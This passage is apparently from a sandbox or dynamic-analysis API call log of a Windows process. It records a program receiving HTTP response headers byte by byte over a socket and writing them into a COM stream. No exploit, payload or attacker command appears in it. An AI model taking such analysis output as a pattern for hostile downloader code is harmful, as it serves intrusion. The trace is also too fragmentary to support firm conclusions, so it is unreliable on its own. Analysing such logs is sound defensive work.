pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x47, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x39, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x4d, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x54, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.161] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.161] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x53, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x3f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x40, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x76, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x41, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x42, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x72, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x43, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x3a, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x44, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x20, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x45, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x41, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x46, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x70, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x47, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x61, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x48, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x63, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x49, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x68, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4a, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4b, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xd, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4c, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0xa, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4d, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x43, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.162] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4e, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.162] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6f, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.163] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x4f, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.163] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.163] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x50, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.163] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.163] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x51, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.163] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x65, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.163] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x52, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.163] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x6e, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.163] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x53, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0086.163] ISequentialStream:RemoteRead (in: This=0x6405d0, pv=0x12fd60, cb=0x4, pcbRead=0x12fd5c | out: pv=0x12fd60*=0x74, pcbRead=0x12fd5c*=0x4) returned 0x0 [0086.163] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.163] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.163] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.163] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x43, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.163] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.164] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.164] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.164] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.164] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.164] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.164] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.164] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.164] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.164] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.164] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.164] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.164] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.164] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.164] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.164] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.164] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.164] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.164] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.164] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.164] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.165] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.165] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.165] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.165] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.165] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.165] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.165] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x69, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.165] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.165] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.165] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.165] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.165] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.165] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.165] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.165] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.165] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.165] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.165] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.165] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x3a, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.166] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.166] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.166] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.166] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x20, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.166] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.166] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.166] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.166] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x63, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.166] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.166] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.166] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.166] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6c, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.166] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.166] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.166] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.166] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.166] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.166] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.167] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.167] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x73, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.167] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.167] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.167] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.167] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.167] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.167] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.167] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.167] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xd, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.167] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.167] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.167] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.167] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0xa, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.167] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.167] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.167] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.167] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.167] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.167] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x43, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.168] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.168] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.168] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.168] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6f, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.168] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.168] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.168] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.168] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.168] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.168] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.168] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.168] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.168] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.168] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.168] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.168] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x65, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.168] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.168] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.168] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.169] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x6e, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.169] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.169] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.169] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.169] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x74, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.169] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.169] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.169] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.169] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x2d, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.169] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.169] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.169] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.169] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x54, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.169] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.169] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.169] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.169] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x79, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.169] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0086.169] select (in: nfds=0, readfds=0x12fc38, writefds=0x0, exceptfds=0x0, timeout=0x12fc30 | out: readfds=0x12fc38, writefds=0x0, exceptfds=0x0) returned 1 [0086.170] recv (in: s=0x258, buf=0x12fd53, len=1, flags=0 | out: buf=0x12fd53*) returned 1 [0086.170] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fd53*=0x70, cb=0x1, pcbWritten=0x0 | out: pcbWritten=0x0) returned 0x0 [0086.170] 